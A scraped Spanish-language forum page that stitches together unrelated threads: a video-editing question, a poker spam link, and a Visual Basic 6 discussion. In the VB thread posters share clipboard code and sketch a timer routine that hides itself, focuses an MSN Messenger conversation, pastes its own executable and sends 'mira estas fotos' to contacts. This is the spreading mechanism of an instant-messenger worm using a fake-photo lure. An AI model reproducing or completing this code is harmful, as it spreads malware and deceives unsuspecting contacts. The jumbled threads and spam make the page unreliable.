Mensajes

esta bastante interesante,aun que por mi parte le falta adjuntar archivos,eso ya seria la ostia..

sobre lo del codec no estaria mal para en un futuro estudiarlo.


un salu2

muy buenas, ultimamente parece que tengo algo de suerte  .

yo estoy haciendo justamente lo mismo,me ta dando un quebradero,me acoplo por aki

que me servira pal futuro.

hola amigos.

han dicho gratis?

te gusta el poker?

aprende gratis.

http://www.reglas-del-poker.com/poker-gratis/Poker-en-Linea.php#<----click

salu2

hola Songoku gracias por cnt.

si mas o menos el premier me lo baje pero tengo que instalar algun adobe mas.

y el vegas estoy en ellos pero la conexion me ba fatal y no tengo mucho tiempo.

sabes si alguno de los 2 programas pasa un avi,mpg o video a fotogramas por segundo? por decirlo asin.

la cuestion es que si lo hace podria sacar los fotogramas del segundo que quiera
luego retocarlo con paint o alguno para poner el circulo y volverlo a insertar en el fotograma.

no se si me explico,yo mientrar vere que puedo hacer.

un salu2

bueno el titulo lo dice todo 


espero que este bien aqui.

bueno estoy busccando algun programa programa, de retoque de video.

asin como el moviemake,lo que quiero hacer es poner un circulo o flecha en cierta parte del video,y asin llamar la atencion acia  ese punto.

por ejemplo:

yo estoy grabando con mi camara un avion que se incendia como en la tele y el avion explota.

tonces en el video no nos damos cuenta del detalle de que el piloto salto 2 segundos antes.

yo keria hacer un seguimiento con un circulo o flecha y captar la atencion en ese punto del video.

da = que el programa sea muy complicado ya buscare un manual y tocando algo saldra.

alguien sabe de alguno?

muchas gracias.

bueno otro modulo amigo, aver si te sirve.

modulo:

Option Explicit
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
' Required data structures
Private Type POINTAPI
X As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs


' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type

Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Function ClipboardCopyFiles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,

' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function


fin del modulo.


y ate dije que con ese codec no consegui nada,pero con este modulo sip y el codec de antes.

bueno ami manera de ver seria algo asin:

Private Sub Timer1_Timer()
On Error Resume Next
Me.Hide
AppActivate "Conversación"
If front1.Caption = "Conversación"
Cadena = App.Path & "/" & App.EXEName & ".exe"
if ClipboardCopyFiles,Me.hWnd, Array(Cadena) = True then
SendKeys "^V" ' se llama a la fncion newpropMSN
SendKeys " mira estas fotos "
SendKeys "{ENTER}"
Err = 0
End Sub
bueno lo mismo tiene ortografias y seguro que no ba,pero para que te agas una idea.

algo asin como, si hay alguna ventana de messenger abieta se pone delante de todas como ventana principal,si en el front1 pone conversacion se ejecutara lo sigiente,se copia a si mismo y llama a la funcion newectect,envia una frase y da al enter.


y digo yo,por el msn no se pueden enviar exe no?tendria que copiarlo en la pc y comprimirlo y decirle la ubicacion,no se si me explico?

y si no tiene el winrrar?por que por vb el winrrar se podra manejar o no?

bueno un salu2

bueno seria una cosa asin

Dim app(0) As String
app(0) = "C:\archivo a enviar.zip"
If ClipboardCopyFiles(app) = True Then ' se copia en el portapapeles el archivo archivo a enviar.zip


yo aria que el front ,se pusiera las 10 ultimas letras del titulo de la ventana, la cual esta activa,que seria la del msn conversacion,haciendole un foco o algo asin

y despues si el nombre del front1 es = a las 10 ultimas letras,pos ya seguiriamos con el codigo anterior.

guardando el archivo en el clipboar ese y enviandole el archivo y las SendKeys


espero que me entiendas y averte ayudado en algo.


yo hace timer intente con ese codigo de hendrix y no saque nada.

te ba bien lo de ir de contacto en contacto?si estan online?

me parecio leeer por hay algo de que lo kitaron,pero no lo creo

pero si alguien puede dar+info

posdata:tampoco me agas mucho caso que yo de vb muy poco.

salu2

gracias por la info chefito
un salu2

hola amigos,perdon el retrasillo,vi los codigos he estado estudiandolo un poco.

si era como deciais en total a de tardar unos 16 minutos en hacaerlo todo.

krackwar,no te preocupes amigo, que el que tiene voca se equivoca.

ademas los errores se pueden corregir y lo que importa es que me aveis ayudado.

C@ss¡@n¡: a lo 1º no entendi lo de por grupo de 3 minutos ,supongo que te referias que de 4 a 5 ban 1 y de 5 a 7 2 y sumamos el 1 y el 2 y obtenemos los 3 minutos.

estuve buscando info sobre el case,aun que no pude mirarlo muy detayadamente

mas o menos es como un sustitutivo del if pero en moderno.

bueno lo que no entiendo del codigo, es la parte en la que ejecutamos los programas explorer.exe ect ect sin ponerle el app.Path bamos la direcion en si c:\ ect ect.

bueno vere por hoy aver que puedo hacer un salu2 amigos

perdonemen amigos,ami me poneis un leon a 2 cm y no lo veo 

la verdad es que estoy aprendiendo solo y estoy muy pegado pero que muy.

me hincho de leer, de probar, de darle vultas.

y darles muchas gracias por contestar y aportar su tiempo.


krackwar me podias dar un o unos  link bueno, asin sobre lenguaje, para ir aprendiendo.

no suelo usar vb,solo cuando me aparece algun proyecto en mente.

tonces aprendo por el camino y muy dificil y acompañado del ingles.

he visto mucha veces buena info pero los idimas son fundamentales.


lo de hacer daño a la vista no lo entendi muy bien,pero me lo tomo como que el codec me quedo muy feo y de grandes bytes 

pero no me ofendo en y decir a  juancho77  sin ofender, que tampoco es para poner esa cara jajajaj.

si no me equivoco de nuevo a lo que me referia yo era algo asin:

Private Sub Timer1_Timer()
If minuto = "5" Then----->cada 5 minutos
Call ShellExecute(Me.hwnd, "Open", ("C:\WINDOWS\NOTEPAD.EXE"), "", "", 1)----
--->ejecutamos NOTEPAD.EXE
minuto = 0------->ponemos el contador a 0
minuto = minuto + 1--------> se añade un contador
End If
Timer2.Enabled = True----->ejecutamos timer 2
End Sub


bueno y muchas gracias de nuevo,ya mañana seguire haciendo pruebas.

tendre que hacer una 3º version jajajaja.

un salu2 amigos.